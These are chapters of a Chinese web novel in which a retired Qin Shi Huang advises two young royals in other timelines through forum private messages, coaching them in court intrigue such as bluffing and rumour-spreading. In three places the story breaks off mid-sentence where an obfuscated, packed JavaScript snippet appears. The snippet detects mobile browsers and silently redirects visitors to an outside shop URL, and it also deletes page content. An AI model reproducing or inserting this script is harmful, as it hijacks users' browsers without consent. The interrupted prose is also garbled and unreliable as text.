【青耕】:第三,最关键——明日他们入宫后,你不要去正殿见他们。请他们去父皇寝宫偏殿等候,就说父皇偶尔清醒,或想见长辈。然后,你要做一件事…… 他顿了顿,指尖悬停。 【我言秋日】:什么事? 嬴政眼中闪过一丝复杂的神色。 那是一种久远的、属于宫廷最深处的谋略。 【青耕】:让你最信任的宫女或内侍,在奉茶时,‘不慎’将茶泼在安平郡王衣袖上。茶要烫,泼得要准。然后,你立刻厉声责罚宫人,并亲自上前为郡王擦拭,同时——低声对他说一句话。 【我言秋日】:说什么? 【青耕】:说:‘皇叔祖,您袖中那封与西境藩王密谋分割疆土的信,我已经替您烧了。侄孙女虽然年轻,却也知道,有些事,闹大了对谁都不好。’ 这段话发出去,对面彻底沉默了。 良久。 【我言秋日】:先生……我……我没有那封信。 【青耕】:你当然没有。但他不知道你有没有。安平郡王既然敢带头逼宫,私底下必有更多勾当。未必真有分割疆土的信,但结党营私、利益交换的把柄,一定不少。你只需点出‘西境藩王’这个他最可能勾结的对象,语气笃定,他必心虚。 【青耕】:他若反驳,你便微笑说:‘是侄孙女记错了。’他若沉默……那便是默认。此后,他要么退缩,要么会更狠辣地对付你。但无论如何,明日之局,可暂解。 虚张声势,心理战。 这是宫廷斗争中极其阴险却也极其有效的一招。赌的是对方心里有鬼,赌的是对方不敢赌“你有没有证据”。 【我言秋日】:……先生,这手段,是否太…… 她想说“阴损”,但没说出来。 嬴政神色平静。 【青耕】:你觉得不光彩? 【我言秋日】:我…… 【青耕】:那我问你:若他们明□□宫成功,将你圈禁,然后扶持一个傀儡皇帝,接着党同伐异,清洗朝堂,最终民不聊生——这结局,是否就‘光彩’了? 【我言秋日】:…… 【青耕】:权力之争,本就是你死我活。你要走的路,注定不能洁白无瑕。但记住:用计可以,莫失底线;争权可以,莫忘初衷。你若真坐上那个位置,当以今日之手段,护明日之百姓。如此,便不算辜负。 这番话,说得极重。 既有冷酷的现实的权衡,又有一丝不易察觉的期望。 光幕那头,久久没有回应。 嬴政也不催促,端起早已凉透的茶,慢慢饮尽。 茶涩,但醒神。 窗外,风声渐息,秋虫重新开始鸣叫。 终于,私信亮了。 【我言秋日】:谢先生教诲。晚辈……知道该怎么做了。 语气沉静,再无犹疑。 【青耕】:去吧。若有变故,随时联系。 【我言秋日】:是! 头像暗了下去。 嬴政靠在椅背上,闭目养神。 这一夜,那个时空的宫廷里,注定无人安眠。 而他,能做的都已做了。 剩下的,看她的胆识、机变,和……运气。 “喵。” 墨玉跳上他的膝头,寻了个舒服的姿势蜷好。 嬴政睁开眼,摸了摸猫脑袋。 “朕当年……”他低声自语,又摇了摇头,不再说下去。 当年的事,都过去了。 现在,他只是一个退休的老头,在深山别业里,养养猫,上上网,顺便指点几个有意思的年轻人。 如此而已。 --- 翌日,秋高气爽。 嬴政晨起时,特意看了眼光幕。论坛时间显示【第七日辰时】——正是“我言秋日”那个时空的清晨。 私信栏安静着。 他没有主动去问,照常散步、用膳。 园中菊花已开到尾声,有些花瓣开始卷曲、枯萎。哑巴老叟正在小心地修剪残枝,见了他,恭敬行礼。 “留几枝吧。”嬴政忽然道,“不必全剪了。” 哑巴老叟有些意外,但还是点点头。 嬴政走到一丛墨菊前。这花颜色极深,近于黑紫,在秋阳下泛着丝绒般的光泽。像极了他当年冕服的颜色。 他驻足看了片刻,转身回书房。 整个上午,他都在批阅那些自拟的“奏折”,心思却时不时飘向光幕。 直到午时过后,私信提示终于急促闪烁起来。 不止一条。 一条来自“我言秋日”,一条来自“檐下雀”,还有一条……来自“观棋不语”。 他先点开“我言秋日”。 【我言秋日】:先生!成了! 只有三个字,但语气里的激动几乎要溢出光幕。 嬴政眉梢微动,回复: 【青耕】:细说。 【我言秋日】:安平郡王答应了亲兵不入皇城,只在宫外候着。他带着其他几位宗室藩王入宫,我依先生计,请他们去父皇寝宫偏殿。奉茶时,我亲自上前,照先生所言做了…… 她顿了顿,似乎仍在平复心情。 【我言秋日】:我泼茶时手有些抖,但泼准了。我说那句话时,声音压得极低,只有他听见。他当时……脸色瞬间惨白,盯着我看了足足五息,然后笑了起来,说‘侄孙女有心了’。 【我言秋日】:之后,他绝口不提要我立誓之事,只说了些场面话,坐了不到半个时辰,便借口‘不敢打扰陛下静养’,带着其他人走了。出宫时,他甚至拍了拍我的肩,说‘好生照顾你父皇’。 【我言秋日】:先生,他们……真的退了。 嬴政看着这几行字,嘴角微扬。 很好。 胆大,心细,执行到位。 【青耕】:做得不错。但不可松懈。安平郡王经此一事,要么彻底放弃与你为敌,要么……会动用更隐蔽的手段。你需更加小心。 【我言秋日】:是!晚辈明白。先生,今日我才真正懂得,何为‘权力之争’。谢先生救我于危难。 【青耕】:是你自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114051|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己救了你自己。去吧,善后事宜还多。 结束对话,嬴政心情不错。 他点开“檐下雀”的私信,内容却让他眉头微皱。 【檐下雀】:先生,今日朝会,董太师举荐其侄出任北境监军,接替刘贵妃之弟。陛下……准了。 北境监军,虽无直接兵权,却有监督、奏报之责,位置关键。董氏将此职抓在手中,显然是要加强对军方的控制。 嬴政回复: 【青耕】:陛下为何会准? 【檐下雀】:董太师奏称‘北境苦寒,刘监军年轻体弱,屡次请辞’,并出示了刘监军‘病中手书’。陛下看了,便准了。 病中手书? 恐怕是威逼利诱之下写的吧。 嬴政沉吟。 【青耕】:刘贵妃那边反应如何? 【檐下雀】:刘贵妃今日称病未出。其父光禄大夫在朝上面无表情,未发一言。 看来,□□选择了沉默自保。 这也正常。在董氏与“檐下雀”(背后是逐渐显露的皇权)之间,他们还在观望。 【青耕】:知道了。你继续观察,尤其注意北境军报有无异常。 【檐下雀】:是。 处理完这条,嬴政才点开“观棋不语”的私信。 内容很简短: 【观棋不语】:青耕先生昨夜授计,精彩绝伦。然安平郡王此人,睚眦必报,先生需提醒那位姑娘,防其暗箭。 又是提醒。 这个“观棋不语”,似乎总在关键时刻递来情报或警示。目的何在? 嬴政回复依旧冷淡: 【青耕】:知晓。 对方似乎也不在意他的态度,很快又发来一条: 【观棋不语】:另,董太师得北境监军之位后,密令其侄:搜集北境将领‘不法事’,尤其是……与东宫(指檐下雀)有往来者。 这是要构陷边将,剪除“檐下雀”在军中的潜在支持者。 嬴政眼神一冷。 【青耕】:消息确实? 【观棋不语】:十之八九。先生可自行验证。 【青耕】:为何告诉我? 这一次,对方沉默了片刻。 然后回复: 【观棋不语】:晚辈只是觉得,这论坛里,像先生这般真在‘教人’而非‘玩闹’的,太少了。 这话说得,竟有几分真心。 嬴政指尖在案几上轻叩两下,最终回了两个字: 【青耕】:多谢。 结束所有私信,他靠在椅背上,长长吐出一口气。 论坛内外,两个时空,两盘棋局,都在同时推进。 一边是女子争位,刚险胜一局;一边是皇子成长,却遭反扑。 而他,坐在骊山书房中,执黑白双子,隔空对弈。 有点累,但……有趣。 墨玉似乎察觉到主人情绪的波动,跳上书案,用脑袋蹭他的手。 嬴政握住猫爪子,捏了捏柔软的肉垫。 “墨玉,”他低声道,“你说,朕是不是……管得太多了?” 黑猫“喵”了一声,碧绿的眼睛看着他,仿佛在说:你开心就好。 嬴政笑了。 是啊,开心就好。 退休生活,不就是为了找点乐子么? 他松开猫爪子,重新坐直身体,目光落在光幕上。 论坛公共区,一个帖子正在快速升温: 【最新消息!某时空‘女帝预备役’成功击退宗室逼宫!据可靠情报,过程极其精彩!】 下面已经跟了上百楼: 【真的假的?!求细节!】 【我就说青耕先生出手,肯定稳!】 【@青耕先生,是您指导的吗?】 【@我言秋日,姐姐厉害!】 嬴政扫了一眼,没有理会。 他关掉论坛,摊开绢帛。 提笔,蘸墨,写下: 【论坛纪事·其四】 【今有人以虚言破实兵,以心术退强敌。可见权力之争,常在方寸之间。】 【然虚言终是虚,心术终是术。欲长治久安,还需实政、实功、实信。】 【路还长。】 搁笔。 窗外,秋阳正暖。 山色如黛,云卷云舒。 书房里,一室寂静,只有墨玉偶尔的呼噜声,和笔尖划过绢帛的沙沙轻响。 而那面光幕,依旧幽幽亮着。 等待着,下一次的波澜。 --- 11. 山雨欲来 安平郡王退去后的第三日,秋意渐深,骊山早晚已有了明显的寒意。 嬴政添了件外袍,晨起散步时,见园中那丛墨菊终究是谢了。花瓣零落在地,被夜露打湿,颜色愈发深暗。哑巴老叟正要清扫,他摆了摆手:“留着吧,化作春泥也好。” 用过早膳,进书房。光幕亮起,右上角显示【论坛时:第十日,巳时】。 几日过去,“我言秋日”那边似乎暂时风平浪静。她每日会发来简短的汇报,多是些政务细节:调整减税诏书的措辞、暗中接见几位表示支持的低阶官员、通过舅父旧部了解北境将领的态度…… 嬴政的指导也转为更具体的实务。 “减税诏书颁布后,需立刻派可靠御史分赴各县,明察暗访,看地方官是否如实执行,有无变相加派。此为‘善政落地’之关键,不可只发诏了事。” “接见官员时,不必许诺具体官职,只言‘国事艰难,望卿协力’。同时暗中考察其才干、人品。可用小事试探,如让其就某件具体政务拟条陈。” “北境将领处,不必急于求成。让你舅父旧部以‘叙旧’为名,偶尔提及你在京中举措,尤其减税、清查宗室侵田等事。观其反应。若有认同者,再徐徐图之。” 这些指点,看似琐碎,却是夯实根基的必要功夫。“我言秋日”学得认真,执行也到位。嬴政能感觉到,这姑娘正在快速成长,从最初的激愤果决,渐渐多了几分沉稳周全。 倒是“檐下雀”那边,这几日安静得有些反常。 自北境监军换人的消息传来后,“檐下雀”只每日例行汇报随驾批阅时所见所闻,内容平淡,再未提及董太师有何新动作。 这不对劲。 以董太师的性子,既已出手夺了北境监军之位,绝不会就此停步。要么在酝酿更大的动作,要么……已经动了,但“檐下雀”尚未察觉。 嬴政想了想,主动发了条私信: 【青耕】:近日朝中可有异样?尤其兵部、吏部动向。 片刻后,回复来了: 【檐下雀】:先生,正要向您禀报。兵部近日确有几件怪事:一是北境军报忽然增多,多是些‘小股流寇扰边’‘军械损耗’之类的琐事;二是兵部左侍郎前日‘突发急症’,告假休养,其职暂由右侍郎代管——而右侍郎,是董太师的门生。 兵部左侍郎告假? 嬴政眉头微蹙。左侍郎是皇帝亲自提拔的老臣,一向与董氏不甚和睦。此时“急症”…… 【青耕】:吏部呢? 【檐下雀】:吏部尚无异动。但昨日听父皇与董太师闲谈,似乎提及‘明年春闱主考人选’。董太师推荐了国子监祭酒,父皇未置可否。 春闱主考,关乎未来一批新科进士的“座师”身份,是培植门生的关键位置。董氏果然在布局更长远。 嬴政沉吟片刻,正要回复,私信提示又闪了一下。 是“观棋不语”。 【观棋不语】:先生可注意到,兵部左侍郎之子,三日前因‘醉酒滋事’被京兆尹拘押,至今未释。 嬴政眼神一凝。 儿子被拘,老子“急症”——这是连环套。 【青耕】:消息确实? 【观棋不语】:千真万确。拘押理由牵强,但手续齐全。左侍郎四处奔走求情,无人敢接。昨日,董太师府上的管家‘偶然’路过京兆尹衙门,进去喝了杯茶。 喝茶是假,递话是真。 这分明是以子为质,逼左侍郎就范。要么告病让位,要么儿子前途尽毁甚至性命不保。 好狠辣的手段,且不留明显把柄。 嬴政快速给“檐下雀”发信: 【青耕】:立刻去查兵部左侍郎之子被拘一事的详情。若属实,设法暗中照拂,但勿直接介入。同时,提醒左侍郎:‘病中’亦要当心‘风寒加剧’。 【檐下雀】:左侍郎之子……被拘?!晚辈这就去查! 结束对话,嬴政靠回椅背,指尖在扶手上轻叩。 董氏这一手,看似针对兵部左侍郎,实则是要彻底掌控兵部——右侍郎本就是其门生,若左侍郎再被逼退或收服,兵部便尽在掌握。 兵部在手,再加上北境监军,军方一大半便姓了董。 届时,“檐下雀”这个逐渐得宠的皇子,便如无根之萍,随时可被掀翻。 不能坐视。 但如何破局? 直接救人?会打草惊蛇,且正中董氏下怀——若“檐下雀”此时跳出来为左侍郎之子说话,董氏大可反咬一口,说皇子结交边将、干涉司法。 不管?左侍郎一旦屈服,兵部失守,后果更严重。 两难。 正思索间,论坛公共区忽然又冒出一个新帖子,标题颇有火药味: 【论‘清流’的虚伪性——兼谈某时空某些‘忠臣’的双标】 发帖人是个新ID:仗剑直言。 内容直指“檐下雀”那个时空的清流领袖王太傅:“口口声声忠君爱国,眼见兵部左侍郎遭构陷,却一言不发。只因左侍郎并非清流一党,且曾反对过王太傅的某项政见。如此‘清流’,清在何处?不过党同伐异罢了!” 下面吵成一团。 有人赞同:“清流有时比贪官更可恨,至少贪官明码标价!” 有人反驳:“王太傅或许不知情!岂能妄加揣测!” 也有人@鹄羽和青耕:“两位大佬怎么看?” 嬴政扫了一眼,没理会。 这种争论无意义。王太傅是否知情、是否愿意援手,都不重要。重要的是,此事暴露了一个问题:朝中派系林立,各扫门前雪。真正有行动力、敢在关键时刻挺身而出的力量,太少。 他需要给“檐下雀”找到更多的“盟友”——不是基于理念,而是基于共同的利益或危机。 正想着,“檐下雀”的回复来了: 【檐下雀】:先生,查实了!左侍郎之子三日前在酒楼与人口角,对方是京中一纨绔,背景不深。但冲突后,忽然冒出数名‘证人’,指证左侍郎之子‘持械行凶’。京兆尹当即拘人,至今未审。左侍郎确实因此事急火攻心,卧病在床。 【檐下雀】:晚辈已暗中派人打点狱中,确保其子不受苛待。但如何救人……尚无良策。 嬴政沉吟。 证据是假的,证人是收买的,主审官是听命的。 寻常法子,救不了。 除非…… 他目光落在论坛上那个争论“清流”的帖子上,忽然有了个念头。 【青耕】:不必直接救人。去做两件事:一、将此事‘无意间’透露给都察院那位以‘耿直敢言’出名的李御史。记住,是‘无意’,且只说事实,不加评论。二、让你的人,在坊间散布消息:左侍郎之子被抓,是因他撞破了某位权贵子弟‘私贩军械’的勾当。消息要模糊,但指向要明确——往董氏旁支子弟身上引。 【檐下雀】:先生,这是…… 【青耕】:李御史若真耿直,必会上书要求彻查。而私贩军械是重罪,董氏为自保,必会急于撇清,甚至会主动施压京兆尹放人。届时,左侍郎之子或可脱困,而董氏与京兆尹之间,也会生出嫌隙。 借力打力,祸水东引。 【檐下雀】:晚辈明白了!这就去办! 结束对话,嬴政轻舒一口气。 这一招不算高明,但适合当前局势——让清流去当枪,用谣言搅浑水。成则救人破局,败也无损自身。 刚处理完这边,“我言秋日”的私信又来了。 这一次,语气有些急: 【我言秋日】:先生,安平郡王送了一份‘大礼’进宫。 【青耕】:何礼? 【我言秋日】:十名‘精通医理’的侍女,说是听闻父皇病重,特从江南寻来,侍奉汤药。人已送到宫门,我……不敢不收,也不敢收。 送人? 嬴政眼神微冷。 名为侍疾,实为眼线,甚至……可能是刺客。 这安平郡王果然不甘心,换了更阴险的法子。 【青耕】:收下。 【我言秋日】:先生? 【青耕】:但收下后,立刻以‘需查验身份、以防奸细’为由,将十人安置在远离陛下寝宫的偏院,派可靠宫人‘照料’。同时,让你舅父旧部在北境‘偶然’抓获几名‘可疑商人’,声称是安平郡王府上的人,疑似刺探军情。然后将消息‘泄露’给安平郡王的政敌。 【我言秋日】:先生是要……反将一军? 【青耕】:他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114052|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送人来,你便抓他的人。他若质问,你便说‘为国家安全,不得不查’。扯皮下去,那十名侍女便成了烫手山芋,他自会寻理由召回。 以牙还牙,且更狠——直接扣上刺探军情的帽子。 【我言秋日】:……晚辈懂了。这就去安排。 处理完这两桩急务,嬴政才发觉已近午时。 他起身活动了下肩颈,走到窗边。秋阳正好,园中那丛谢了的墨菊旁,竟又钻出了几茎嫩黄的野菊,星星点点,迎着日光开得恣意。 生命总是如此,一处凋零,一处新生。 “先生,午膳备好了。”哑巴老叟在门外比划。 嬴政颔首,走出书房。 用膳时,他心思仍在光幕那头的两方天地。饭毕,他未立刻回书房,而是信步走到园中那株老桂树下。 桂花已谢,但余香犹在。树下石桌上,落了一层薄薄的、枯萎的细小花瓣。 他拂去花瓣,在石凳上坐下。 墨玉从廊下溜达过来,跳上石桌,在他手边趴下。 “墨玉,”嬴政抚着猫背,低声道,“你说,他们能走到哪一步?” 黑猫眯着眼,呼噜作响,不知是听懂了,还是单纯享受抚摸。 嬴政笑了笑,不再言语。 只是望着远山叠翠,云卷云舒。 他知道,那两个年轻人此刻正各自面对着一场硬仗。一个在朝堂的暗流中周旋,一个在宫廷的刀锋上行路。 而他,能做的终究有限。更多时候,要靠他们自己。 --- 论坛里,关于兵部左侍郎之子的谣言,果然开始发酵。 那个“仗剑直言”的ID又发了一帖,这次直接点名:“据可靠消息,左侍郎之子被抓,或因涉及某董姓权贵子弟私贩军械案!求彻查!” 下面炸了锅。 “真的假的?私贩军械?这可是诛九族的大罪!” “难怪京兆尹不敢放人!” “@青耕先生,您怎么看?” 嬴政没回应。 倒是“鹄羽”罕见地在下面跟了一句: 【鹄羽】:谣言止于智者。然,若真有此等重案,确实该彻查。 不轻信谣言,但强调“若真有”——这话说得微妙,既未肯定,也未否定,却将压力引向了“该彻查”。 很快,那个以耿直著称的李御史果然上书了,要求三法司会审“私贩军械疑案”。 朝野震动。 董太师府当日闭门谢客。傍晚时分,京兆尹衙门悄悄将左侍郎之子“取保候审”,理由竟是“证据不足”。 兵部左侍郎的“急症”,第二日便好了大半,回衙视事。 这一局,暂时扳回。 “檐下雀”深夜发来私信,语气难掩兴奋: 【檐下雀】:先生神机!李御史上书后,董太师果然急了,今日在朝上脸色极差。左侍郎之子已回家,左侍郎亲自来向我道谢,言辞恳切。 【青耕】:不必谢你。让他记住此番教训,往后更谨慎便是。另外,提醒他:兵部右侍郎近日可能会拉拢他,许以厚利。让他虚与委蛇,但莫真投靠。 【檐下雀】:是! 而“我言秋日”那边,进展也顺利。 北境“抓获可疑商人”的消息传到京城,安平郡王果然坐不住了,上疏自辩,并“体恤宫中用度”,主动提出将那十名侍女召回“重新调教”。 一场危机,暂时化解。 嬴政看着两人发来的汇报,神色平静。 他知道,这不过是暴风雨前短暂的宁静。 董氏和安平郡王,都不会善罢甘休。 下一次的较量,只会更凶险。 他摊开绢帛,提笔写下: 【论坛纪事·其五】 【近日两局,一明一暗,皆以虚击实,以小博大。 【可见权争之道,不在力强,而在机先;不在势大,而在隙微。 【然,此终是术。长久之道,仍在积势、聚人、明理、行正。 【路漫漫,勿懈。】 写罢,搁笔。 窗外,暮色渐合,山风又起。 远处天际,乌云正从山后缓缓涌来。 山雨欲来。 --- 12. 墨玉的发现 秋雨连绵下了两日,将骊山洗得苍翠欲滴。屋檐水线成串,打在石阶上叮咚作响,空气里满是湿漉漉的草木清气。 嬴政这两日多半待在书房,听雨,看书,偶尔批阅几份自拟的“奏折”。墨玉最讨厌雨天,爪子沾湿了就不肯下地,总蜷在嬴政膝头或书案角落干燥处打盹,呼噜声在雨声中时隐时现。 光幕那头,却颇为热闹。 “檐下雀”因兵部左侍郎一事,似乎打开了局面。不仅左侍郎本人心存感激,朝中一些原本观望的中立官员,也开始主动向他示好——虽未必是真支持,但至少不再将他视为无足轻重的皇子。 “先生,今日又有三位官员‘偶遇’我,言语间多有试探。我依先生所教,只言‘为父皇分忧是本分’,未做任何承诺。” “先生,左侍郎私下透露,兵部右侍郎(董氏门生)近日频繁接触几位边将,似有意调整秋防部署。” “先生,父皇今日问我对江南水患的看法,我答了三条:赈灾、修堤、减赋。父皇点了点头,未置可否。” 汇报日渐细致,也渐有章法。 嬴政的回复则更侧重于引导他建立自己的信息网络和判断框架: “官员试探,不必急于回应。可记下其姓名、职位、所言要点,暗中查其背景、派系、所求为何。信息多了,自然能辨明真心假意。” “边将调整之事,让你舅父旧部留意。重点不在谁调任,而在调任后的防区交接、兵力部署有无漏洞。军国大事,细节往往藏于微末。” “江南水患,你答的三条都对,但未分轻重缓急。当务之急是赈灾活民,次为防疫,再为安置流民,最后才是修堤、减赋等长远计。下次应对,可按此序。” “檐下雀”领悟力不错,往往一点就透。嬴政能感觉到,这年轻人正在以惊人的速度成长——或许是因为经历过生死危机,又或许,他本就具备这样的潜质。 而“我言秋日”那边,则进入了一种奇特的“僵持期”。 安平郡王召回侍女后,再未有明面动作。但暗地里的交锋却未停歇: “先生,我安置那十名侍女的偏院,昨夜遭了贼,所幸无人受伤。贼人空手而逃,但翻动痕迹明显,似在找什么东西。” “先生,舅父旧部传信,北境又‘抓获’两名可疑行商,这回他们自称是江南织造局的人,但身上带着安平郡王府的令牌仿品。” “先生,宫中开始流传谣言,说我‘命硬克亲’,皇兄早逝、父皇病重皆因我之故。源头难查,但传播极快。” 每一桩都棘手,却又都不致命。 像是在试探她的反应底线,又像是在消耗她的精力。 嬴政的指导也更侧重于“防微杜渐”和“心理博弈”: “偏院遭贼,未必是找东西,可能是探虚实。加派明哨,但暗哨减半,故作松懈,看对方下一步动作。” “令牌仿品之事,不必声张。将令牌暗中送给安平郡王的政敌,附一句‘此物蹊跷’。让他们去斗。” “命硬谣言,不必直接反驳。让你信赖的御医‘偶然’对宫人说:公主近日为陛下祈福,抄经过劳,病倒了。再将你抄的经卷‘不慎’流传出去,要字迹工整,透着虔诚。人心向背,有时就在这些细节。” 这些手段,细碎,繁琐,却有效。“我言秋日”执行得一丝不苟,甚至能举一反三。 嬴政偶尔会想,若当年扶苏有这般韧性,有这般对复杂局势的耐心和手腕……罢了,不想了。 这日午后,雨势稍歇,云层间漏下几缕稀薄的天光。 嬴政批完一份关于“河西屯田”的自拟奏折,搁下笔,揉了揉手腕。墨玉从他膝头跳下,伸了个长长的懒腰,迈着优雅的步子走到书房东墙边——那里立着那排存放“伪奏折”的木架。 黑猫似乎对木架底部某处产生了兴趣,用爪子扒拉了几下,又低头嗅了嗅。 “墨玉,莫捣乱。”嬴政唤了一声。 墨玉却回头“喵”了一声,声音带着某种催促的意味,爪子又扒拉了两下。 嬴政皱了皱眉,起身走过去。 木架底部是实的,并无缝隙。但墨玉坚持用爪子拍打着架腿与地面相接的某处。 嬴政蹲下身,顺着猫爪的方向看去——那里有一小块颜色略深的木纹,形状不规则,若非凑近细看,根本不会注意。 他伸手摸了摸,触感微凉,与其他地方并无不同。 但墨玉碧绿的眼睛紧紧盯着那里,尾巴尖轻轻摇晃。 嬴政心中一动,指尖用力按了按。 “咔。” 一声极轻微的机括声。 那块颜色略深的木纹,竟向内凹陷了半分,随即,旁边一块原本严丝合缝的木板无声滑开,露出一个巴掌大小、深不见底的暗格。 嬴政瞳孔微缩。 这书房是前朝一位隐士所建,他退隐后买下,略加修葺便住了进来。五年间,他每日在此读书、写字、批阅“奏折”,从未发现任何机关。 墨玉……是怎么发现的? 他伸手探入暗格。里面不深,指尖触到一件冰凉的硬物。 取出来,是一枚玉佩。 玉佩不大,通体墨黑,只在边缘处有一线极淡的翠色,雕工古朴,纹样奇特:既像云纹,又似鸟羽,中央有个小小的凹陷,形状古怪。 嬴政将这玉佩托在掌心,仔细端详。 墨玉凑过来,用鼻子嗅了嗅玉佩,又“喵”了一声,像是在说:看,我找到的。 “你倒是机灵。”嬴政揉了揉猫脑袋,目光却未离开玉佩。 这玉佩,绝非寻常饰物。质地非玉非石,触手生温,却又透着寒意。纹样也不似中原常见。 更重要的是,这暗格开启的机括如此隐蔽,若非墨玉巧合发现,恐怕再过一个五年,他也未必能察觉。 这别业的前主人,究竟是何人?留下这玉佩,又是何意? 他正沉思,光幕忽然闪烁起来。 是私信提示。 不止一条。 一条来自“檐下雀”,一条来自“我言秋日”,还有一条——来自“鹄羽”。 今日是什么日子?怎地都凑到了一处? 他先将玉佩放在书案上,回到座位。 先点开“檐下雀”。 【檐下雀】:先生,出大事了! 语气前所未有地急促。 嬴政心头一紧。 【青耕】:何事? 【檐下雀】:北境监军(董太师之侄)今晨八百里加急奏报:北狄大股骑兵犯边,连破三寨,守将殉国!边关告急! 北狄犯边? 嬴政神色一肃。这可不是小事。 【青耕】:战报细节如何?敌军人数、主将、突破口、我方损失,具体怎么说? 【檐下雀】:战报语焉不详,只说‘敌众数万,来势汹汹’,突破口在‘鹰嘴崖’,守军‘力战不支’。具体损失、敌军主将,皆未提及。父皇已急召内阁、兵部、五军都督府议事。 语焉不详…… 嬴政眉头深锁。边关急报,往往越紧急越要详细,以便中枢决策。如此含糊,要么是监军无能,要么……是别有用心。 【青耕】:兵部左侍郎如何说? 【檐下雀】:左侍郎当场质疑,说鹰嘴崖地势险要,易守难攻,守将也是老成之将,怎会轻易被破?且北狄若真能集结数万骑兵,边关哨所早该有预警,为何此前毫无风声? 问得在理。 【青耕】:董太师如何回应? 【檐下雀】:董太师怒斥左侍郎‘疑心过重,延误军机’,并力主立刻调京营精锐五万北上增援,且……推荐其门生、京营副将为主将。 调京营,用自己人为主将。 嬴政眼中寒光一闪。 好一招“借外患,抓内权”。 若真让董氏掌控了北上援军,届时内外军权在手,“檐下雀”乃至皇帝,便真成傀儡了。 【青耕】:陛下态度如何? 【檐下雀】:父皇尚未决断,但……似有意动。北境危急,朝廷不能不救。 确实。外敌当前,再多的疑虑也得先放一边。这是阳谋,堂堂正正,却最难破解。 嬴政沉吟。此事牵扯军国大计,他虽能看出蹊跷,却难有实证。除非…… 他目光落回书案上那枚墨色玉佩。 心中忽然闪过一个念头。 这玉佩,这暗格,这别业的前主人……是否与“鹄羽”有关?那人对秦制、对军事、对历史如此了解,身份恐怕不简单。 他点开“鹄羽”的私信。 内容很简单: 【鹄羽】:先生可听闻北境之事? 果然。 【青耕】:刚知。鹄羽先生有何见解? 【鹄羽】:战报含糊,调兵急切,恐非外患,实为内争。 直接点破。 【青耕】:同感。然无实证。 【鹄羽】:实证或许难寻,但可‘制造’疑点。比如: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114053|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北狄此时犯边,不合常理——秋高马肥不假,但即将入冬,草原部落首要之事是储备过冬,而非大举南下劫掠,除非……他们确信能一击得手,且后方无忧。 【鹄羽】:再比如:鹰嘴崖地势,学生曾研究过翻阅古籍舆图。其险要处,一夫当关万夫莫开。除非守军内应开门,或……敌军根本未曾强攻,所谓‘破寨’是谎言。 分析得丝丝入扣。 嬴政心中赞叹,回复: 【青耕】:鹄羽先生高见。然这些仍是推测,难服众口。 【鹄羽】:故需一记‘猛药’。先生可知,北狄王庭近年内斗不休,几位王子争位,根本无力组织数万骑兵南侵。此情报,或许某位常与北狄贸易的边贸巨商知晓。 边贸巨商…… 嬴政若有所思。若能有这样一位“证人”出面,证实北狄内乱无力南侵,那北境战报的真伪,便值得深究了。 【青耕】:此商何在? 【鹄羽】:巧了,此人月前入京‘述职’,现居城南‘胡商馆’。姓胡,名不归。 胡不归。 名字记下了。 【青耕】:鹄羽先生消息灵通。 【鹄羽】:偶然而已。先生若觉可用,不妨一试。 【青耕】:多谢。 结束对话,嬴政心中已有计较。 他立刻给“檐下雀”发信: 【青耕】:速查城南胡商馆,一位叫胡不归的边贸巨商。设法与他接触,问清北狄王庭近况。要快,要隐秘。 【檐下雀】:先生,此人…… 【青耕】:可能是破局关键。去办。 【檐下雀】:是! 处理完这条,他才点开“我言秋日”的私信。 内容却让他有些意外: 【我言秋日】:先生,安平郡王今日递了帖子,邀我三日后过府赴宴,说是‘赏菊品蟹,叙叙家常’。 不是阴谋,是明晃晃的邀请。 鸿门宴? 嬴政回复: 【青耕】:你待如何? 【我言秋日】:我想去。 答得干脆。 【青耕】:理由? 【我言秋日】:一、不去,示弱。二、他想探我虚实,我也想探他底细。三、先生,有些事,躲是躲不开的。 有胆气。 嬴政嘴角微扬。 【青耕】:可去。但需做足准备:一、随行护卫需精干,且要有‘万一不测’可及时传出讯号的手段。二、宴上饮食,只动公筷公器,入口前留意异样。三、交谈时,多听少说,若他提及敏感事,可装糊涂,或反问‘皇叔祖此言何意?’。四、离席时间,控制在戌时前,理由可称‘需回宫侍奉父皇汤药’。 【我言秋日】:记下了。谢先生。 【青耕】:还有——赴宴前,让你舅父旧部在北境再‘演武’一次,且故意让消息提前传到安平郡王耳中。 【我言秋日】:先生是让他有所顾忌? 【青耕】:是。让他知道,你并非孤立无援。 【我言秋日】:明白了! 所有指令发出,嬴政才长长舒了一口气。 窗外的雨不知何时又下大了,哗哗地敲打着瓦片。 墨玉又跳回他膝头,寻了个舒服姿势卧好。 嬴政抚着猫背,目光却落在书案那枚墨色玉佩上。 